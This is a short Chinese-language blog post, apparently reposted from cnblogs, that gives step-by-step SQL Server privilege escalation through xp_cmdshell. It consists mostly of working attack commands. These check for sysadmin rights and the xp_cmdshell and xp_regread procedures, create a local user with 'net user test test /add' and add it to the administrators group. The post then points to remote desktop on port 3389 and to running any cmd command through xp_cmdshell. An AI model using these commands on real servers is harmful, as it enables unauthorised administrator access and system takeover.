[提权禁区] SQL语句利用xp_cmdshell获取权限

判断权限是不是sa

select is_srvrolemember('sysadmin')

返回是1说明是sa



判断xp_cmdshell扩展存储是否存在

select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'

返回为l则证明存在



判断xp_regread扩展存储过程是否存在

select count(*) from master.dbo.sysobjects where name='xp_regread'

返回1证明存在



添加用户

exec master..xp_cmdshell 'net user test test /add'

exec master..xp_cmdshell 'net localgroup administrators test /add'



后来就是查看3389端口了,

exec master..xp_cmdshell 'XXXXX'里面输入cmd命令就是了

文中资料引用:http://www.wooyun.org/bugs/wooyun-2010-037806

原文地址:https://www.cnblogs.com/vincebye/p/5925349.html